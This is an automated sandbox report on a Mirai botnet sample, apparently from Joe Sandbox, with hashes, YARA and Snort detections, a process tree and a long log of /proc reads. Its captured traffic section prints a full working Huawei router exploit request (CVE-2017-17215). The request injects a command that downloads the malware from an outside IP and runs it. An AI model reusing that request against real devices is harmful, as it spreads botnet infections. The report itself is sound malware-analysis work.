Edit tour

Linux Analysis Report
bok.arm4.elf

Overview

General Information

Sample Name:	bok.arm4.elf
Analysis ID:	824729
MD5:	ff8876ad3d74f54de1080fe2ac2a2fcd
SHA1:	151f19870f309dd13b6b2749c08a1f4f087f6176
SHA256:	4463dcb9a23e3cead700d2d8259d23ae0af161338195c246ff57d88983c2a12f
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample deletes itself

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample contains only a LOAD segment without any section mappings

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

ELF contains segments with high entropy indicating compressed/encrypted content

HTTP GET or POST without a user agent

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	824729
Start date and time:	2023-03-12 05:16:18 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	bok.arm4.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/bok.arm4.elf
PID:	6225
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	nkuvgpkpi/vwp2
Standard Error:

Process Tree

system is lnxubuntu20

bok.arm4.elf (PID: 6225, Parent: 6124, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/bok.arm4.elf

bok.arm4.elf New Fork (PID: 6227, Parent: 6225)

bok.arm4.elf New Fork (PID: 6231, Parent: 6225)

bok.arm4.elf New Fork (PID: 6233, Parent: 6231)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
6225.1.00007fbe90030000.00007fbe90032000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x1280:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x12f4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1368:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x13dc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1450:$xo1: oMXKNNC\x0D\x17\x0C\x12
6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x11398:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x11408:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x11478:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x114e8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x11558:$xo1: oMXKNNC\x0D\x17\x0C\x12
6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth (Nextron Systems)	0x10824:$x1: POST /cdn-cgi/ 0x110c0:$x2: /dev/misc/watchdog 0x110b0:$x3: /dev/watchdog 0x1121c:$s1: LCOGQGPTGP
6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.19.234.248

Timestamp:	192.168.2.23154.19.234.24834348372152835222 03/12/23-05:17:57.544799
SID:	2835222
Source Port:	34348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.118.67

Timestamp:	192.168.2.2341.207.118.6736896372152835222 03/12/23-05:18:37.130552
SID:	2835222
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.247.13

Timestamp:	192.168.2.23156.227.247.1334218372152835222 03/12/23-05:17:50.250143
SID:	2835222
Source Port:	34218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.38.248.168

Timestamp:	192.168.2.23154.38.248.16839184372152835222 03/12/23-05:18:32.237081
SID:	2835222
Source Port:	39184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.216.16.124

Timestamp:	192.168.2.23154.216.16.12449296372152835222 03/12/23-05:18:20.924509
SID:	2835222
Source Port:	49296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.169.4

Timestamp:	192.168.2.23154.213.169.436896372152835222 03/12/23-05:18:44.909112
SID:	2835222
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.173.160

Timestamp:	192.168.2.23154.213.173.16047660372152835222 03/12/23-05:18:44.622777
SID:	2835222
Source Port:	47660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.234.225.226

Timestamp:	192.168.2.23156.234.225.22637032372152835222 03/12/23-05:17:29.066566
SID:	2835222
Source Port:	37032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 102.40.126.190

Timestamp:	192.168.2.23102.40.126.19058884372152835222 03/12/23-05:18:05.376218
SID:	2835222
Source Port:	58884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.16.234

Timestamp:	192.168.2.23156.230.16.23438748372152835222 03/12/23-05:18:30.058003
SID:	2835222
Source Port:	38748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.209.31.63

Timestamp:	192.168.2.23154.209.31.6343486372152835222 03/12/23-05:17:45.055690
SID:	2835222
Source Port:	43486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.204.17.82

Timestamp:	192.168.2.23154.204.17.8238056372152835222 03/12/23-05:18:36.979130
SID:	2835222
Source Port:	38056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.211.43.115

Timestamp:	192.168.2.23154.211.43.11533822372152835222 03/12/23-05:18:36.710288
SID:	2835222
Source Port:	33822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.169.213

Timestamp:	192.168.2.23154.213.169.21351952372152835222 03/12/23-05:18:40.580988
SID:	2835222
Source Port:	51952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.95.210

Timestamp:	192.168.2.23156.254.95.21040830372152835222 03/12/23-05:18:44.343254
SID:	2835222
Source Port:	40830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.209.26.25

Timestamp:	192.168.2.23154.209.26.2546366372152835222 03/12/23-05:18:10.783427
SID:	2835222
Source Port:	46366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.14.114

Timestamp:	192.168.2.23156.226.14.11445010372152835222 03/12/23-05:18:20.661510
SID:	2835222
Source Port:	45010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.31.146.13

Timestamp:	192.168.2.23154.31.146.1337040372152835222 03/12/23-05:17:49.802953
SID:	2835222
Source Port:	37040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.211.19.73

Timestamp:	192.168.2.23154.211.19.7350986372152835222 03/12/23-05:18:24.485789
SID:	2835222
Source Port:	50986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.211.19.101

Timestamp:	192.168.2.23154.211.19.10143806372152835222 03/12/23-05:18:14.073818
SID:	2835222
Source Port:	43806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 102.41.23.85

Timestamp:	192.168.2.23102.41.23.8533974372152835222 03/12/23-05:17:14.142346
SID:	2835222
Source Port:	33974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.211.34.178

Timestamp:	192.168.2.23154.211.34.17855604372152835222 03/12/23-05:17:31.611571
SID:	2835222
Source Port:	55604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.180.50.188

Timestamp:	192.168.2.23154.180.50.18835924372152835222 03/12/23-05:18:42.971077
SID:	2835222
Source Port:	35924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.15.117

Timestamp:	192.168.2.23156.226.15.11751314372152835222 03/12/23-05:17:42.504437
SID:	2835222
Source Port:	51314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.170.53

Timestamp:	192.168.2.23154.213.170.5334086372152835222 03/12/23-05:17:57.826173
SID:	2835222
Source Port:	34086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.80.218

Timestamp:	192.168.2.23156.254.80.21852140372152835222 03/12/23-05:17:52.806535
SID:	2835222
Source Port:	52140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.160.194

Timestamp:	192.168.2.23154.213.160.19445592372152835222 03/12/23-05:17:45.594474
SID:	2835222
Source Port:	45592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.41.166

Timestamp:	192.168.2.23156.254.41.16636386372152835222 03/12/23-05:17:57.371110
SID:	2835222
Source Port:	36386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.88.109

Timestamp:	192.168.2.2341.0.88.10937906372152835222 03/12/23-05:17:26.528007
SID:	2835222
Source Port:	37906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 31 33 2e 31 30 36 2e 31 33 30 20 2d 6c 20 2f 74 6d 70 2f 6e 65 67 72 6f 20 2d 72 20 2f 2e 6f 4b 41 33 31 2f 62 6f 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 65 67 72 6f 3b 20 2f 74 6d 70 2f 6e 65 67 72 6f 20 68 77 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.113.106.130 -l /tmp/negro -r /.oKA31/bok.mips; /bin/busybox chmod 777 /tmp/negro; /tmp/negro hw.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp, type: MEMORY

Matched rule: Detects Mirai Botnet Malware Author: Florian Roth (Nextron Systems)

Source: LOAD without section mappings

Program segment: 0x8000

Source: 6225.1.00007fbe90030000.00007fbe90032000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth (Nextron Systems), description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b, modified = 2023-01-27

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/6230/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1582/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/3088/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/230/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/110/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/231/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/111/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/232/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1579/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/112/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/233/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1699/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/113/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/234/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1335/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1698/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/114/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/235/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1334/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1576/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/2302/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/115/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/236/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/116/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/237/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/117/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/118/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/910/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/6227/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/119/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/912/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/10/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/2307/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/11/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/918/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/12/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/13/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/14/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/15/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/16/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/17/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/18/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1594/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/120/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/121/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1349/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/122/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/243/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/123/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/2/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/124/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/3/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/4/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/125/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/126/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1344/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1465/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1586/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/127/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/6/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/248/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/128/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/249/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1463/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/800/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/9/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/801/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/20/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/21/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1900/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/22/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/23/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/24/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/25/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/26/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/27/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/28/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/29/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/491/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/250/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/130/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/251/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/252/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/132/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/253/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/254/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/255/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/256/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1599/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/257/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1477/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/379/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/258/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1476/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/259/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1475/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/936/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/30/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/2208/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/35/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1809/cmdline
